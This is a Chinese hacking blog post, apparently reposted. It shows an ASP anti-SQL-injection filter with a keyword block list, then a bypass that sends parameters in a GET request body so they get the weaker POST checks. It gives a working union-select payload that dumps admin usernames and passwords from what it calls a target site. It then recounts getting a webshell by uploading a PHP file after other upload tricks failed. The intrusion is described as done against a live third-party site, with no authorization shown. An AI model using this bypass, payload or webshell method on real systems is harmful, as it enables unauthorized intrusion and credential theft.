利用Request對象的包解析漏洞繞過防注入程序
<%
Dim Query_Badword,Form_Badword,i,Err_Message,Err_Web,name
'------定義部份 頭----------------------------------------------------------------------
Err_Message = 1 '處理方式:1=提示信息,2=轉(zhuǎn)向頁面,3=先提示再轉(zhuǎn)向
Err_Web = "Err.Asp" '出錯時轉(zhuǎn)向的頁面
Query_Badword="'∥and∥select∥update∥chr∥delete∥%20from∥;∥insert∥mid∥master.∥set∥chr(37)∥="
'在這部份定義get非法參數(shù),使用"∥"號間隔
Form_Badword="'∥%∥&∥*∥#∥(∥)∥=" '在這部份定義post非法參數(shù),使用"∥"號間隔
'------定義部份 尾-----------------------------------------------------------------------
'
On Error Resume Next
'----- 對 get query 值 的過濾.
if request.QueryString<>"" then
response.write "QueryString :" & request.QueryString & "
"
Chk_badword=split(Query_Badword,"∥")
FOR EACH Query_Name IN Request.QueryString
for i=0 to ubound(Chk_badword)
If Instr(LCase(request.QueryString(Query_Name)),Chk_badword(i))<>0 Then
response.write request.QueryString(Query_Name) & "出現(xiàn)關(guān)鍵詞" & Chk_badword(i) &"
"
Select Case Err_Message
Case "1"
Response.Write "傳參錯誤!參數(shù) "&name&" 的值中包含非法字符串!\n\n請不要在參數(shù)中出現(xiàn):and update delete ; insert mid master 等非法字符"
Case "2"
Response.Write "<Script Language=JavaScript>location.href='"&Err_Web&"'</Script>"
Case "3"
Response.Write "<Script Language=JavaScript>alert('傳參錯誤!參數(shù) "&name&"的值中包含非法字符串!\n\n請不要在參數(shù)中出現(xiàn):and update delete ; insert mid master 等非法字符!');location.href='"&Err_Web&"';</Script>"
End Select
Response.End
End If
NEXT
NEXT
End if
'-----對 post 表 單值的過濾.
if request.form<>"" then
Chk_badword=split(Form_Badword,"∥")
FOR EACH name IN Request.Form
for i=0 to ubound(Chk_badword)
If Instr(LCase(request.form(name)),Chk_badword(i))<>0 Then
response.write request.form(name) & "出現(xiàn)關(guān)鍵詞" & Chk_badword(i) &"
"
Select Case Err_Message
Case "1"
Response.Write "出錯了!表單 "&name&" 的值中包含非法字符串!\n\n請不要在表單中出現(xiàn): % & * # ( ) 等非法字符!"
Case "3"
Response.Write "出錯了!參數(shù) "&name&"的值中包含非法字符串!\n\n請不要在表單中出現(xiàn): % & * # ( ) 等非法字符!"
End Select
Response.End
End If
NEXT
NEXT
end if
%>
可以看出其對GET請求發(fā)送的參數(shù) 過濾的非常的嚴(yán)格 ,但是對于POST發(fā)送的參數(shù)卻只過濾了幾個符號 ,這個很好繞過的 ,但是downloadshow.asp 只接受GET 發(fā)送過來的參數(shù)啊 ,這該如何繞過?這里就要使用 asp 和 aspx 的Request對象的包解析漏洞,即像下面的形式發(fā)送的內(nèi)容 ,使用 request對象仍然可以獲取正確的值
GET /Downloadshow.asp HTTP/1.1
HOST:XXXXXXXXXXXXXXXX
Content-Length: xx
Content-Type: XXXXXXXXXXXXXXXXXX
ID=111
然后 downloadshow.asp 中 使用request("ID")仍然可以獲取正確的ID值 ,和直接 GET?。痙ownloadshow.asp?ID=111 的效果是一樣的,但是這樣的話 對于上面的那個 sql 注入檢測程序 ,卻會把這樣的數(shù)據(jù)當(dāng)作是POST提交的數(shù)據(jù) ,再加上不到位的檢測 ,sql注入漏洞就產(chǎn)生了,如下圖所示:



這里有個技巧就是 使用 火狐的 Hackbar 插件 可以很方便的加上 POST 的數(shù)據(jù) 。
好了 本地成功了 我們拿到目標(biāo)站來試試效果
來到 downloadshow.asp 頁面 提交POST 數(shù)據(jù)
ID=-7%20union%20select%201%2Cusername%2C3%2C4%2C5%2C6%2Cpassword%2C8%2Cpassword%2C0%2C11%2C12%2C13%20from%20admin
直接爆出管理員的用戶名密碼

然后就是后臺拿shell了 ,現(xiàn)在我們是管理員了而且已經(jīng)登錄, 那我們再來 試試雙文件上傳 悲劇的發(fā)現(xiàn) 對于 在后綴后面加空格的方法繞過后綴檢測已經(jīng)無效了,無懼的上傳組建會檢測 asp asa aspx 3種后綴 ,那么對于 asp 的站 可以試試 cer ,悲劇的是cer這個站不支持。。又看到有數(shù)據(jù)庫備份 ,看看 數(shù)據(jù)庫的路徑和名字都不可改寫 這個好辦 使用 firebug 改成我上傳的圖片路徑 然后備份文件填寫1.asp 提交,本地抓下包 發(fā)現(xiàn)原始數(shù)據(jù)庫的路徑并未當(dāng)作參賽提交 無語了 ……果然 像我開頭說的那樣雖然是垃圾站 但是經(jīng)過這么多年被黑,各種小洞都補(bǔ)了 。。無奈 試試其他腳本類型吧 上傳個 php ,還好服務(wù)器支持php ,shell 到手了。
版權(quán)聲明:本站文章來源標(biāo)注為YINGSOO的內(nèi)容版權(quán)均為本站所有,歡迎引用、轉(zhuǎn)載,請保持原文完整并注明來源及原文鏈接。禁止復(fù)制或仿造本網(wǎng)站,禁止在非maisonbaluchon.cn所屬的服務(wù)器上建立鏡像,否則將依法追究法律責(zé)任。本站部分內(nèi)容來源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來,僅供學(xué)習(xí)參考,不代表本站立場,如有內(nèi)容涉嫌侵權(quán),請聯(lián)系alex-e#qq.com處理。
關(guān)注官方微信